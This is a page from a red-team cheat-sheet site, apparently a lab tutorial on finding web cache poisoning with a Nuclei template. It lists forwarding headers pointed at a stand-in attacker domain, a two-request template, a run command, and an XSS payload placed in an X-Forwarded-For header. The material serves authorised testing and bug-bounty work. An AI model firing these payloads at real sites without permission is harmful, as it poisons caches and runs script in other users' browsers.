Red Teaming and Malware Analysis
  • About
  • Red Teaming
  • Cheat Sheet
    • Web
      • Misc
      • File Upload bypass
      • Authentication bypass
      • SQL Injection
      • XSS
      • XXE
      • Reverse-shell
      • Webshell
      • (De)Serialization
    • Active Directory
    • Services by port
      • Enum
      • 5060 - SIP
      • 25 - SMTP
      • 135 - RPC
      • 445 - SMB
      • 11211 - PHPMemCached
      • ldap
    • Hardening
    • Stuff
      • Basic tips/scripts
      • OpenBSD & NetBSD
      • File Transfer
      • Pivoting
  • Active Directory 101
    • Dumping Active Directory DNS using adidnsdump
    • PrintNightmare
    • From DFSCoercer to DA
  • Fuzzing and Web
    • Server Side Template Injection (SSTI)
    • Finding SSRF (all scope)
    • Format String Exploitation
    • Cache Poisoning using Nuclei
  • Initial Foothold
    • Browser In The Browser (BITB) Attack
    • Phishing with Office
      • Weaponizing XLM 4.0 macros
  • Privilege Escalation (Privesc)
    • AV/EDR Bypass
      • Bypass AV/EDR using Safe Mode
      • Resources
    • UAC bypass
    • Process migration like meterpreter
  • Lateral Movement (Pivoting)
    • From Windows VPN + Kali VPN + DC
      • By using Proxifier
  • Persistence
  • Command and Control (C&C)
    • CobaltStrike 101
      • Pivoting DMZ: weevely + ngrok + CS Pivot COMBO via Linux
      • Extras + Plugins
      • Resources
  • Data Exfiltration
    • Extracting certs/private keys from Windows using mimikatz and intercepting calls with burpsuite
  • CVE & Exploits / CTF
    • Privilege Escalation
    • Serialization
    • CVEs
      • CHIYU IoT devices
      • Chamilo-lms-1.11.x - From XSS to account takeover && backdoor implantation
    • CVE - Submission Guides
  • Tools
    • Intel
    • OSINT
    • DNS
    • WEB
      • API and WS Hacking
      • Web Discovery
      • Web Fuzzing
      • Path Traversal
      • GraphQL
      • JWT
    • Infrastructure and Network
      • Scan and Discovery
        • Network mapper
      • Automated Scanners
      • Misc
      • Active Directory
        • Burpsuite with Kerberos Auth
      • Cloud & Azure
      • Command and Control (C&C)
      • (De)serialization
      • Lateral Movement
      • Powershell
    • Privilege Escalation
    • Exfiltration
    • Persistence
    • Password & Cracking
      • Wordlists
      • Tips
      • Rainbow Crackalack
    • Static Code Analysis
    • Reporting
  • Resources
  • Pwnage
    • WiFi
      • HOSTAPD-WPE
      • Rogue APP
      • WPA3 Downgrade attack
    • NRF
    • rubber ducky
  • Malware Analysis
  • Unpacking
  • Basic tips
  • Malware instrumentation with frida
  • Tools
    • Debuggers / Disassemblers
    • Decompilers
    • Detection and Classification
    • Deobfuscation
    • Debugging and Reverse Engineering
    • Memory
    • File Analysis
    • Emulators
    • Network Traffic Analysis
    • Other
    • Online Tools
  • Resources
    • DFIR FTK Imager
    • Convert IP Range into CIDR
    • Parsing Large Raw Files and Excluding Country IP Address Ranges
    • Windows Logs Automation
      • amcache.hve
    • Windows EventViewer Analysis | DFIR
    • Prevent Windows shutdown after license expire
    • Firewall raw Logs
  • Mobile
    • Tools
    • Reverse iOS ipa
      • Jailbreak
      • Install Frida iPhone 5S
      • Frida instrumentation
      • Resources / Extra features
    • Reverse Android APKs
      • Android Dynamic Analysis
      • Bypass root + Frida
      • SSL unpining frida + Fiddler/Burp
      • Backdooring/patch APKs
    • Basic tips
    • Resources
  • IoT / Reverse / Firmware
    • Basic tips
      • Repair NTFS dirty disks
    • Reverse IoT devices
      • Reverse TP-Link Router TL-WR841N
      • Reverse Trendnet TS-S402 firmware
      • Full emulate Netgear WNAP320
      • Reverse ASUS RT-AC5300
      • Reverse LinkOne devices
    • Tools
      • Qemu + buildroot 101
      • Kernel
    • Resources
Powered by GitBook
On this page
  • HTTP Headers
  • Building the Nuclei template
  • Bug Bounty tip
  • References

Was this helpful?

  1. Fuzzing and Web

Cache Poisoning using Nuclei

Discovering cache poisoning vulnerabilities using nuclei.

HTTP Headers

In this lab, we are going to use nuclei tool for discovering cache poisoning vulnerabilities on web applications.

To do this, we need to use common unkeyed inputs headers such as:

X-Forwarded-Prefix: cache.my_evil_dns.com
X-Forwarded-Host: cache.my_evil_dns.com
X-Forwarded-For: cache.my_evil_dns.com
X-Originating-IP: cache.my_evil_dns.com
X-Remote-IP: cache.my_evil_dns.com
X-Remote-Addr: cache.my_evil_dns.com
X-Client-IP: cache.my_evil_dns.com

In detail, to trigger cache poisoning vulnerabilities we need two requests:

  • The first that causes the server to cache the poisoned response

  • The second will retrieve the poisoned response from the server-side.

Building the Nuclei template

To carry out this scenario, we can build our nuclei template as presented below.

id: cache-poisoning    

info:
  name: HTTP Cache Poisoning
  author: sirpedrotavares / seguranca-informatica.pt
  severity: medium

requests:
  - raw:
      - |
        GET /?evil=007 HTTP/1.1
        X-Forwarded-Prefix: cache.my.evil.dns.com
        X-Forwarded-Host: cache.my.evil.dns.com
        X-Forwarded-For: cache.my.evil.dns.com
        X-Originating-IP: cache.my.evil.dns.com
        X-Remote-IP: cache.my.evil.dns.com
        X-Remote-Addr: cache.my.evil.dns.com
        X-Client-IP: cache.my.evil.dns.com

      - |
        GET /?evil=007 HTTP/1.1

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "cache.my.evil.dns.com") == true'
.\nuclei.exe -u target_url -t .\nuclei-templates-master\sirpedrotavares\cache-poisoning.yaml

Bug Bounty tip

X-Forwarded-For: cache.my_evil_dns.com"></script><script>alert(document.domain);</script>

References

PreviousFormat String ExploitationNextInitial Foothold

Last updated 4 years ago

Was this helpful?

We can test this template using the PortSwigger Lab .

And yeah, we got it

You can use this strategy to find vulnerabilities like these in bug bounty programs. To start, you can use tool to get your scope from your public and private programs (HackerOne, Bugcrowd, and Intigriti).

😎
here
bbscope
LogoAutomate Cache Poisoning Vulnerability - NucleiMohamed Elbadry | Blog
LogoPoisoning your Cache for 1000$ - Approach to Exploitation WalkthroughGal Nagli